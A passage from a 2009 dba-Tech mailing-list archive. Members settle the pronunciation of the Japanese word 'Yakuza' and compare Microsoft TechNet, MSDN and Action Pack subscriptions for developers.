Message-ID: <49FA252D.32607.2842AFC2@stuart.lexacorp.com.pg>

The U is very soft, It's almost YAK'za. 

Hear it at http://forvo.com/word/yakuza/



On 30 Apr 2009 at 18:12, Arthur Fuller wrote:

> A friend and I are discussing Japanese pronunciation, specifically on the
> word "Yakuza". He insists that it is prounounced "yaKUza" while I maintain
> that the proper pronunciation is "YAkuza".
> 
> Can any lister adjudicate this?
> 
> TIA,
> Arthur
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From kens.programming at verizon.net  Thu Apr 30 17:32:37 2009
From: kens.programming at verizon.net (kens.programming)
Date: Thu, 30 Apr 2009 15:32:37 -0700
Subject: [dba-Tech] Language Question: Anyone on the list speak Japanese?
In-Reply-To: <49FA252D.32607.2842AFC2@stuart.lexacorp.com.pg>
Message-ID: <6AF23909685F4F9FB5155D697A5FEA20@Stoker.com>

Stuart is correct and the emphasis is on the beginning.

Thanks
 
Ken 
Business Analyst


-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart McLachlan
Sent: Thursday, April 30, 2009 3:25 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Language Question: Anyone on the list speak
Japanese?

The U is very soft, It's almost YAK'za. 

Hear it at http://forvo.com/word/yakuza/



On 30 Apr 2009 at 18:12, Arthur Fuller wrote:

> A friend and I are discussing Japanese pronunciation, specifically on the
> word "Yakuza". He insists that it is prounounced "yaKUza" while I maintain
> that the proper pronunciation is "YAkuza".
> 
> Can any lister adjudicate this?
> 
> TIA,
> Arthur
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> dba-Tech at databaseadvisors.com
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From erbachs at gmail.com  Thu Apr 30 18:18:38 2009
From: erbachs at gmail.com (Steve Erbach)
Date: Thu, 30 Apr 2009 18:18:38 -0500
Subject: [dba-Tech] Technet / MSDN / Power Pack
In-Reply-To: <s9f57d1b.021@cactus.dk>
References: <s9f57d1b.021@cactus.dk>
Message-ID: <39cb22f30904301618w7a48379eue506abfad3ccf2c0@mail.gmail.com>

Gustav,

Very valuable info...thank you!  I hope I can pass the tests!

Steve Erbach
Neenah, WI


On Mon, Apr 27, 2009 at 2:37 AM, Gustav Brock <Gustav at cactus.dk> wrote:
> Hi Jim and Steve
>
> No, it not so. The Action Pack, MSAP, is available for professionals somehow dealing with MS software for a living.
>
> This, however, doesn't provide developer tools - which in MS jargon is Visual Studio and Expression Suite. These are offered as part of the
>
> ?Special Edition Web Solutions Toolkit
>
> for which you have to pass an "exam" to gain access.
> Read the old thread about this (some links only operational in IE):
>
> ?http://databaseadvisors.com/pipermail/accessd/2007-October/055800.html
>
> To obtain VS 2008 Standard this way will take some time but you can get started right away with the free Express edition.
>
> /gustav
>
>
>>>> accessd at shaw.ca 27-04-2009 02:05 >>>
> My understanding was that this subscription was only available to
> individuals who had successfully completed a series/single exam(s). This
> limitation was added as some people were taking the subscriptions and
> reselling the products... not particularly smart as it was so easy to
> validate through MS updates.
>
> I spent a couple of hours, one evening, trying to find the testing section
> of the MS site after logging in. ?I do not think I am particularly slow but
> I could not work my way through the various web site settings and timing-out
> pages so I gave up that idea. I guess that was the labyrinth part of the
> test.
>
> Maybe things have changed and if they have I would not mind continuing with
> the subscription.
>
> Jim
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Steve Erbach
> Sent: Sunday, April 26, 2009 9:25 AM
> To: Discussion of Hardware and Software issues
> Subject: [dba-Tech] Technet / MSDN / Power Pack
>
> Dear Group,
>
> Just last night I discovered that Microsoft has a service on its
> Technet site that gives you a year's subscription to all Microsoft
> software for "evaluation" purposes. ?$349 a year allows you to
> download everything, including the Windows 7 Release Candidate,
> Windows Server 2008, etc.
>
> I wondered if any of you lot had a Technet subscription. ?I believe
> that Rocky has a Power Pack (?) subscription which is different. ?Some
> of you have MSDN subscriptions, too. ?What do you think of them? ?Have
> they been worth it?
>
> In '04 I found out from Hindman, I think, about the Microsoft ISV
> program. ?I was able to get a full Universal MSDN subscription with 5
> licenses for Office, Windows, etc., for $295 a year for two years.
> THAT was very, very handy.
>
> I was considering setting up a Windows SBS 2008 or Windows Server 2008
> as a Virtual PC on my system since it's got some fairly good oomph (8
> GB RAM, dual core 3 GHz Intel processor, Raid 1 500 GB array).
>
> Any thoughts about Technet?
>
> Regards,
>
> Steve Erbach